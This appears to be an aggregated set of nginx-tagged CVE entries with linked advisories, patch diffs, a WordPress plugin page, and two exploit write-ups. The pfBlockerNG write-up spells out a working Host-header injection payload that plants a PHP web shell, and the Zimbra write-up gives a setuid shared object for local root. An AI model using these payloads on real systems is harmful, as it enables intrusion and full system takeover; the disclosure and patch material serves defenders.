An improper privilege management vulnerability [CWE-269] in Fortinet FortiSOAR before 7.2.1 allows a GUI user who has already found a way to modify system files (via another, unrelated and hypothetical exploit) to execute arbitrary Python commands as root.

** PSIRT Advisories**

**FortiSOAR - Privilege escalation from nginx user to root**

**Summary**

An improper privilege management vulnerability \[CWE-269\] in FortiSOAR may allow a GUI user who has already found a way to modify system files (via another, unrelated and hypothetical exploit) to execute arbitrary Python commands as root.

**Affected Products**

FortiSOAR version 7.2.0  
FortiSOAR version 7.0.0 through 7.0.2  
FortiSOAR version 6.4.0 through 6.4.4

**Solutions**

Please upgrade to FortiSOAR version 7.2.1 or above  
Please upgrade to FortiSOAR version 7.0.3 or above

**Acknowledgement**

Fortinet is pleased to thank security researchers Ryan Catterall and OJ Reeves of Beyond Binary for discovering and reporting this vulnerability under responsible disclosure.

CVE-2022-30298: Fortiguard

pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.

**TL;DR**

IHTeam undertook an independent security assessment of pfsense’s pfBlockerNG plugin version 2.1.4\_26 and identified the following vulnerability:

*   Unauthenticated Remote Command Execution as root (CVE-2022-31814)

**What’s pfBlockerNG**

pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.

**CVE-2022-31814**

IHTeam identified a remote command execution vulnerability in **pfBlockerNG <= 2.1.4\_26** that can be exploited from an unauthenticated perspective.

Fig 1: Image showing the installed pfBlockerNG plugin

Being the web server run by the root user, the impact of this vulnerability is critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The consultant downloaded the latest stable version of pfSense (2.6.0 at the moment of writing) and installed the latest stable version of pfBlockerNG (2.1.4\_26 at the moment of writing).

The vulnerability was identified in the file **/usr/local/www/pfblockerng/www/index.php** which is used to record and query DNSBL data. Specifically to query, the code uses PHP function **exec()**, passing untrusted data into the command.

    // Query DNSBL Alias for Domain List.
    $query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
    
    exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

The **$\_SERVER\[‘HTTP\_HOST’\]** element passed in the above code, is a user-controllable input that could result in changing the meaning of the command (as originally intended). An attacker can tamper with the HTTP\_HOST parameter via the “**Host**:” header of the request, as shown in the picture below:

Fig 2: Image showing the “Host” header value reflected in command

—**Restrictions on characters**—

There were few restrictions in place regarding characters you could use:

*   htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)

Fig 3: Image showing how “&” was encoded in HTML when used

*   nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request

Fig 4: Image showing nginx returning 400

Therefore, the only available characters to build a working payload were:

*   pipe (|)
*   semicolon (;)
*   single quote (‘)
*   spaces ( )

**–Simple proof of concept–**

To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:

    /usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*

In order to obtain a working PoC, we need:

1.  Close the single quote
2.  Specify a directory to search on
3.  Break the command with a semicolon
4.  Comment or add an additional single quote

    ' *; sleep 5; '

The above simple proof of concept made the system delay the request for 5 seconds, confirming the injection worked.

**–Backdooring pfSense–**

The next step would involve the build of a stable shell on the remote machine and to do so, we would need to find a creative way to (at least) write a PHP file.

Remember that we can’t use redirections or even forward slashes, therefore the consultant utilized base64 to write a more complex payload that could be executed via php-cli.

However, the “base64 -d” binary was not installed by default in pfSense, but python3.8 was, therefore we were able to write and decode base64 payloads and pipe everything in the php-cli binary:

*   Simple PHP code

    <?echo("HELL");?>

*   Encode it in base64

    PD9lY2hvKCJIRUxMIik7Pz4=

*   Use python to decode the base64

    python3.8 -m base64 -d

*   Pipe everything into PHP

    | php

Fig 5: Image showing the “echo” message successfully executed by PHP

Keep in mind that base64 has forward slashes (/) in its charset – therefore build a payload that doesn’t include them.

Now that we got back the “HELL” message, we know that PHP successfully executed our payload, we can build a more complex payload to backdoor pfSense.

    <?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>

It creates a file in **/usr/local/www/system\_advanced\_control.php** with a very simple call to execute command and get back results from it.

    PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+

Once again, the above payload, encoded in base64, did not contain any forward slashes. Hence, the final payload to obtain a backdoor in pfSense would be as follow:

    /usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*

**Exploit Code**

The exploit code can be found at https://iht.li/p/WWATN

Fig 6: Image showing the exploit execution

**Disclosure Timeline**

28/05/2022 – Technical details sent to \[email protected\]  
31/05/2022 – No response from NetGate, directly contacted BBcan177 (maintainer of the package in GitHub)  
05/06/2022 – BBcan177 released a temporary patch https://github.com/pfsense/FreeBSD-ports/pull/1169 while waiting to deprecate version 2.x in favor of 3.x  
07/06/2022 – NetGate came back saying they don’t issue security advisories for vulnerabilities within Packages, especially community-maintained packages such as pfBlockerNG.  
–3 months delay to allow clients to patch–  
05/09/2022 – Blog post and exploit published

CVE-2022-31814: pfBlockerNG Unauth RCE Vulnerability - IHTeam Security Blog

Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

WP OAuth Server plugin turns your WordPress site into an OAuth Server. It allows you to login into Rocket Chat, Invision Community, WordPress, Odoo, EasyGenerator, Salesforce, Zapier, Moodle, Edunext, Wickr, Freshdesk, FreshWorks, ServiceNow, Knack database, Circlo.so, Tribe.so, Tribe, Mobilize, Nextcloud, Church Online, iSpring LMS, Nextcloud, Academy of Mine, BoardEffect, TalentLMS, PowerSchool and any other OAuth 2.0 compliant applications using WordPress credentials.

Basically, the OAuth Server plugin allows users to login into applications that are OAuth 2.0 compliant, using their WordPress login credentials. As it’s name suggests, it follows the OAuth 2.0 protocol. Along with that, it also supports OpenID Connect (OIDC), and JWT protocols.

The primary goal of the OAuth Server plugin is to enable Single Sign On so that users do not need to remember username and password for each application.  
Once Single Sign On is enabled, users do not need to store sensitive information to login into different applications.

**LIST OF POPULAR OAUTH CLIENTS SUPPORTED**

*   Rocket.Chat
*   Invision Community (IPB Forum)
*   Odoo
*   WordPress
*   EasyGenerator
*   Salesforce
*   Zapier
*   Moodle
*   Edunext
*   Wickr
*   Freshdesk
*   FreshWorks
*   ServiceNow
*   Knack database
*   Circle.so
*   Tribe.so
*   Mobilize
*   Nextcloud
*   iSpring LMS
*   Church Online
*   Academy of Mine
*   BoardEffect

**WORDPRESS OAUTH / OPENID CONNECT SERVER USE CASES**

*   If you want to use your WordPress site as an Identity Server / OAuth Server / OAuth Provider and use WordPress user’s login credentials to login into your client site / application then you can use this plugin. You can also decide what kind of User data / attributes you want to send while Single Sign On into your client site / application.
*   If you want to login to your Mobile app / Single Page web app (SPA) using your WordPress credentials, then you can use the Authorization code with PKCE flow grant type to achieve your use case.
*   Single set of credentials will be used to login to multiple WordPress websites.
*   You can access the NIGINX resources using NIGINX Authentication. Once you login into your client application using WP OAuth Server credentials, you will get JWT. Your client application can further use it for NGINX Authentication.

**WORDPRESS OAUTH / OPENID CONNECT SERVER FREE VERSION FEATURES**

*   Supports Login with WordPress for Single Client application
*   Protocol Support – OAuth 2.0, OpenID Connect (OIDC)
*   Master Switch – Block / unblock OAuth API calls between OAuth Clients and Server
*   Token Length – Change the access token length
*   Server Response – Sends User ID, username, email, first name, last name, display name in the response
*   Grant types Supported – Authorization Code grant
*   OAuth API Documentation
*   Setup guides to configure the plugin with various OAuth Clients (more coming soon)

**WORDPRESS OAUTH / OPENID CONNECT SERVER PREMIUM VERSION FEATURES**

*   All FREE version features
*   Supports Login with WordPress for Multiple Client applications
*   Server Response – Sends all the profile attributes along with roles, allows to send custom attributes from usermeta table and also customize the attribute names that need to be sent in server response
*   Grant Types Supported : Authorization Code Grant, Implicit Grant, Password Grant, Client Credentials Grant, Refresh Token Grant, Authorization Code grant with PKCE flow
*   Token Lifetime – Configure the access token and refresh token expiry time
*   Enforce State Parameter – Based on client configuration, you can enable or disable state parameter
*   Authorize / Consent prompt – Enable / disable the consent screen
*   Redirect/Callback URI Validation – Enable / disable this feature, based on dynamic redirect to a different pages for certain conditions
*   Multi-Site Support – Use the plugin in WordPress Multisite network environment
*   JWT Signing Algorithm – Supports signing algorithms HSA and RSA
*   Additional endpoints – Provides OpenID Connect Discovery endpoint, Introspection endpoint, OpenID Connect Single logout endpoint  
    A grant is a method of acquiring an access token. Deciding which grants to implement depends on the type of client the end user will be using, and the experience you want for your users.

**WE SUPPORT FOLLOWING GRANTS:**

*   **Authorization code grant** : This code grant is used when there is a need to access the protected resources on behalf of the user on another third party application.
*   **Implicit grant** : This grant relies on resource owner and registration of redirect uri. In authorization code grant users need to ask for authorization and access token each time, but here access token is granted for a particular redirect uri provided by a client using a particular browser.
*   **Client credential grant** : This grant type heads towards specific clients, where access token is obtained by client by only providing client credentials. This grant type is quite confidential.
*   **Resource owner password credentials grant** : This type of grant is used where the resource owner has a trust relationship with the client. Just by using username and password, provided by resource owner authorization and authentication can be achieved.
*   **Refresh token grant** : Access tokens obtained in OAuth flow eventually expire. In this grant type client can refresh his or her access token.
*   **Authorization code grant with PKCE flow** : This grant type is used for public clients like mobile and native apps, Single Page web apps, where there is a risk of client secret being compromised.

**REST API AUTHENTICATION**

Rest API is very much open to interact. Creating posts, getting information of users and much more is readily available.  
It secures unauthorized access to your WordPress sites/pages using our WordPress REST API Authentication plugin .

**From your WordPress dashboard**

1.  Visit Plugins > Add New
2.  Search for OAuth 2.0 server. Find and Install OAuth 2.0 server
3.  Activate the plugin from your Plugins page

**From WordPress.org**

1.  Download OAuth 2.0 server.
2.  Unzip and upload the miniorange-oauth-login directory to your /wp-content/plugins/ directory.
3.  Activate miniOrange OAuth from your Plugins page.

**I need to customize the plugin or I need support and help?**

Please email us at info@xecurify.com or Contact us. You can also submit your query from plugin’s configuration page.

Initial setup was giving my team some issues and we were able to get walked through a drupal to wordpress sso setup with the team at miniorange.

The plugin works without problems, and our Wordpress site's login is now working smooth. Very helpful and capable Support, who has answered in a fast manner. They get directly to the point and answer the questions with rich answers that makes even a (in the context of SSO) less experienced user understand what is happening.

The free version of this plugin worked great for my use case. I had some issues initially that ended up being on the side of my hosting provider, but the support I received by the developers of this plugin was well beyond what I would have expected.

I tried this plugin to link Wordpress with Invision Community (IPS). According to the docs at Invision, there are 2 ways to do this. I chose the first one linking IPS to WP as the server as opposed to IPS acting as the server. My review is based on this experience but I'll try the other way too. It quick and easy to set up, and clearly there's a large amount of work gone into it, but once I'd got the connection configured, that's when I found that the logins expire after just 600 seconds, that's just 10 minutes! According to the support section, it says this is fixed at 3600 seconds, unless you upgrade to the pro. But 10 mins isn't an hour, which would be okay at minimum for a WP site member to browse and compose a comment or review on Gallery images, post in a forum etc in Invision Community forming part of the same site. Secondly, probably 90%+ of this plugin is locked down and almost everything seems to say you need to upgrade to pro. Instead of 7 tabs full of settings and options you can't use, why not create a simpler lite version with a non-intrusive ad for the pro version benefits? If you want a simple Single Sign On OAUTH solution to link your WP user accounts to your IPS accounts and sync basic profile info for the convenience of your visitors but then forget about it, it will do the job but as crippled as it is, this probably isn't what you are looking for, unless you want the pro support and anything beyond the bare minimum.

We were very impressed with the level of support given by the miniorange team. During our development we ran into a few problems due to other plugins and our custom application, which caused problems for logout. However, the miniorange team was great they were quick to respond to our questions and even attended a zoom session with us to help track down the problem. Definitely one of the best plugin authors for support. I've worked with many and these guys are second to none.

We ended up not buying the plugin but we have to admit the pre-sales support was stellar including pro-actively reaching us to help configure it.

Read all 27 reviews

“WP OAuth Server ( Login with WordPress )” is open source software. The following people have contributed to this plugin.

Contributors

**4.0.1**

*   Vulnerability fixes
*   Code improvements

**3.0.4**

*   Token Post Response header already sent warning fix

**3.0.3**

*   Database Query Optimization

**3.0.2**

*   CORS issue fix
*   Added trial option of the premium
*   Licensing page changes

**3.0.1**

*   Added compatibility with WP 5.9
*   Improved performance of website by setting autoload to false

**3.0.0**

*   Support for email attribute in the userinfo endpoint
*   Link to the OAuth API documention
*   Client specific UI improvements

**2.13.8**

*   Security Fixes

**2.13.7**

*   UI improvement – Copy button for endpoints and client credentials
*   Bug fix for supplied\_redirect\_uri
*   Consent screen on every login

**2.13.6**

*   permission\_callback warning fix

**2.13.5**

*   minor bug fixes
*   added copy button to copy the client credentials and endpoints
*   readme update

**2.13.4**

*   minor UI updates
*   added compatibility with WP 5.7

**2.13.3**

*   minor bug fixes
*   fixed compatibility with Brizzy
*   added compatibility with WP 5.6

**2.13.2**

*   minor bug fixes
*   fixed issue with deactivation form
*   added compatibility with WP 5.5

**2.13.1**

*   Added compatibility with WordPress v5.5

**2.13.0**

*   Added UI fixes
*   Updated demo plan fixes
*   Minor bugfixes and compatibility fixes

**2.12.4**

*   Licensing tab fix

**2.12.3**

*   Added fixes for some features
*   Added option to disable authorize screen

**2.12.2**

*   Added Compatibility with WordPress v5.4

**2.12.0**

*   Performance Improvements

**2.11.0**

*   Fixed bug where blank scope led to blank screen
*   Fixed “Deny” button resulting in clicking “Allow”
*   Fixed unaccounted bytes error notice on activation
*   Updated plugin licensing
*   Minor UI Improvements

**2.10.0**

*   Added fixes for Loopback Request failure
*   Updated Endpoints based on REST API and Authorize Consent Screen
*   Minor Bugfixes

**2.9.1**

*   Fixed migration issue

**2.9.0**

*   Fixed bug where bearer access\_token was not recognized.
*   Updated Endpoints

**2.8.2**

*   Updated Installation Steps

**2.8.1**

*   Compatibility changes for miniOrange OAuth Single Sign On

**2.8.0**

*   Updated registration form
*   Advertised Introspection Endpoint

**2.7.0**

*   Added compatibility for WordPress Version 5.2
*   Added fixes for OpenID Connect flow
*   Added fixes for OTP related issue
*   Updated Endpoints
*   Added alternative for Sign Up
*   Advertised Scope Based Response

**2.6.1**

*   Fixed conflicts for function generateRandomString()

**2.6.0**

*   Advertised new features as per new Licensing Plan

**2.5.6**

*   Added Compatibility for Rocket.chat

**2.5.5**

*   Fixed OTP related issue

**2.5.4**

*   Updated Licensing Plan

**2.5.3**

*   Added Visual Tour fixes

**2.5.2**

*   Added bugfixes

**2.5.1**

*   Added missing files

**2.5.0**

*   New Features
*   Major UI Revamp
*   Added Feature Tour

**2.4.0**

*   Compatibility with WordPress 5.1

**2.3.0**

*   Added Feedback Form and Updated UI

**2.2.1**

*   Added support for Invision Community and Rocket.chat

**2.2.0**

*   Updated UI

**2.1.0**

*   Fixed the PHP7.2 Compatibility issue

**2.0.3**

*   Changes in the title

**2.0.2**

*   Added features

**2.0.1**

*   Added support for multiple client

**1.0.1**

*   Initial Release

CVE-2022-34149: WP OAuth Server ( Login with WordPress )

An issue was discovered in Nginx NJS v0.7.5. The JUMP offset for a break instruction was not set to a correct offset during code generation, leading to a segmentation violation.

CVE-2022-35173

An issue was discovered in HestiaCP before v1.3.5. Attackers are able to arbitrarily install packages due to values taken from the pgk [] parameter in the update request being transmitted to the operating system's package manager.

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Merge remote-tracking branch 'jaapmarcus/fix/prevent-install-non-cont…

…rolled-package' into main

*   Loading branch information

Kristan Kenney committed

Mar 30, 2021

2 parents 32ef8a2 + 9a1fccd commit 27556a9a43aeaf308b33be224c2e70f2011574e6

Showing **2 changed files** with **7 additions** and **0 deletions**.

*   *   v-update-sys-hestia
*   *   main.sh

@@ -32,6 +32,7 @@ source $HESTIA/conf/hestia.conf

  

# Checking arg number

check\_args '1' "$#" 'PACKAGE'

is\_hestia\_package "hestia,hestia-nginx,hestia-php" "$package"

  

# Perform verification if read-only mode is enabled

check\_hestia\_demo\_mode

@@ -1154,6 +1154,12 @@ multiphp\_default\_version() {

echo "$sys\_phpversion"

}

  

is\_hestia\_package(){

if \[ \-z "$(echo $1 | grep -w $2)" \]; then

check\_result $E\_INVALID "$2 package is not controlled by hestiacp"

fi

}

  

# Run arbitrary cli commands with dropped privileges

# Note: setpriv --init-groups is not available on debian9 (util-linux 2.29.2)

# Input:

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CVE-2021-30070: Merge remote-tracking branch 'jaapmarcus/fix/prevent-install-non-cont… · hestiacp/hestiacp@27556a9

Zimbra's sudo configuration permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root.

This exploit was brought to you by “reading the manual”, mostly. It is the second local privilege escalation I found while doing an extremely low effort audit of Zimbra.

You should read the first post, here: https://darrenmartyn.ie/2021/10/25/zimbra-nginx-local-root-exploit/

In order to exploit this issue, you need code execution as the “zimbra” user.

TL;DR: In a stock Zimbra install, the “zimbra” user has access to run a number of shell commands with root permissions.

One of these is “zmslapd”, as per the following output from “sudo -l”:

    (root) NOPASSWD: /opt/zimbra/libexec/zmslapd

What does this command do? Well, lets find out. Using the extremely sophisticated reverse engineering software, cat, we can do so. I even left the licence block in, just, you know, to be nice.

$ cat /opt/zimbra/libexec/zmslapd
#!/bin/bash
# 
# \*\*\*\*\* BEGIN LICENSE BLOCK \*\*\*\*\*
# Zimbra Collaboration Suite Server
# Copyright (C) 2007, 2008, 2009, 2010, 2012, 2013, 2014, 2015, 2016 Synacor, Inc.
#
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software Foundation,
# version 2 of the License.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
# without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU General Public License for more details.
# You should have received a copy of the GNU General Public License along with this program.
# If not, see <https://www.gnu.org/licenses/>.
# \*\*\*\*\* END LICENSE BLOCK \*\*\*\*\*
# 

ulimit -n 32768
ulimit -c unlimited
ulimit -v unlimited
export LD\_PRELOAD=/opt/zimbra/common/lib/libtcmalloc\_minimal.so
exec /opt/zimbra/common/libexec/slapd "$@"

So basically all this script does is execute slapd with whatever arguments we give it, after setting up some ulimit stuff and LD_PRELOAD‘ing a specific malloc implementation.

We now shall refer to the slapd manual, in order to figure out a way to exploit this.

Using the -u root and -g root arguments, we can ensure that slapd does not drop permissions when ran, and runs as root. With the -f filename argument, we can force it to use a specific configuration file.

We copy the slapd config file zimbra ships with, and look for something usable. Turns out, there is a way to load in modules, which are just shared objects. So we tweak configuration to do just that.

\# Load dynamic backend modules:
modulepath      /tmp/slapper
moduleload      hax.so
# moduleload    back\_ldap.la

What is “hax.so”? Well, it is a shared object that just puts the setuid bit on a shell we drop. We use a constructor so it runs once its loaded, instead of writing a proper module for slapd. It is just easier this way and works fine.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
\_\_attribute\_\_ ((\_\_constructor\_\_))
void dropshell(void){
    chown("/tmp/slapper/rootslap", 0, 0);
    chmod("/tmp/slapper/rootslap", 04755);
    printf("\[+\] done!\\n");
}

We package up this whole thing into a nice shell script, and we get the following.

The steps are fairly simple. Create a directory to work in, create our shared object, a rootshell binary, and our config file. Then run the zslapd command with sudo and arguments to run as root and use our config file. We get root.

You can find the exploit code here: https://github.com/darrenmartyn/zimbra-slapper

There are more privesc opportunities in Zimbra waiting to be exploited. I might even spend time on those next. Just depends how much time I want to spend reading manual pages. Maybe finding the next one is an exercise for the reader?

Disclosure timeline: None, I just didn’t bother. See the previous post for why.

**Post navigation**

CVE-2022-37393: Zimbra “zmslapd” Local Root Exploit.

In versions 2.x before 2.3.0 and all versions of 1.x, An attacker authorized to create or update ingress objects can obtain the secrets available to the NGINX Ingress Controller. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVE-2022-30535

In versions 2.x before 2.3.1 and all versions of 1.x, when NGINX Instance Manager is in use, undisclosed requests can cause an increase in disk resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVE-2022-35241

BookWyrm is a social network for tracking reading. Versions prior to 0.4.5 were found to lack rate limiting on authentication views which allows brute-force attacks. This issue has been patched in version 0.4.5. Admins with existing instances will need to update their `nginx.conf` file that was created when the instance was set up. Users are advised advised to upgrade. Users unable to upgrade may update their nginx.conf files with the changes manually.

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Merge pull request #2230 from bookwyrm-social/nginx-rate-limit

Adds rate limiting to some views in nginx

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2 parents ed20587 + e1e6a2d commit 7bbe42fb30a79a26115524d18b697d895563c92f

Showing **3 changed files** with **19 additions** and **0 deletions**.

*   *   development
    *   production
    *   server\_config

@@ -7,6 +7,15 @@ upstream web {

server {

listen 80;

  

location ~ ^/(login|password-reset|resend-link) {

limit\_req zone=loginlimit;

  

proxy\_pass http://web;

proxy\_set\_header X-Forwarded-For $proxy\_add\_x\_forwarded\_for;

proxy\_set\_header Host $host;

proxy\_redirect off;

}

  

location / {

proxy\_pass http://web;

proxy\_set\_header X-Forwarded-For $proxy\_add\_x\_forwarded\_for;

@@ -41,6 +41,15 @@ server {

\# root /var/www/certbot;

\# }

#

\# location ~ ^/(login|password-reset|resend-link) {

\# limit\_req zone=loginlimit;

#

\# proxy\_pass http://web;

\# proxy\_set\_header X-Forwarded-For $proxy\_add\_x\_forwarded\_for;

\# proxy\_set\_header Host $host;

\# proxy\_redirect off;

\# }

#

\# location / {

\# proxy\_pass http://web;

\# proxy\_set\_header X-Forwarded-For $proxy\_add\_x\_forwarded\_for;

@@ -1 +1,2 @@

client\_max\_body\_size 10m;

limit\_req\_zone $binary\_remote\_addr zone=loginlimit:10m rate=1r/s;

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@mouse-reeve maintainer pls confirm are you happy to assign a CVE for this, then only hunter.dev admin can move further

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CVE-2022-35925: Merge pull request #2230 from bookwyrm-social/nginx-rate-limit · bookwyrm-social/bookwyrm@7bbe42f

Discourse is the an open source discussion platform. In affected versions a maliciously crafted request for static assets could cause error responses to be cached by Discourse's default NGINX proxy configuration. A corrected NGINX configuration is included in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. There are no known workarounds for this vulnerability.

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SECURITY: Do not cache error responses for static assets (stable)

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1 parent f0ef186 commit 7af25544c3940c4d046c51f4cfac9c72a06d4f50

Showing **1 changed file** with **0 additions** and **1 deletion**.

@@ -247,7 +247,6 @@ server {

proxy\_cache one;

proxy\_cache\_key "$scheme,$host,$request\_uri";

proxy\_cache\_valid 200 301 302 7d;

proxy\_cache\_valid any 1m;

proxy\_cache\_bypass $bypass\_cache;

proxy\_pass http://discourse;

break;

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Tag

#nginx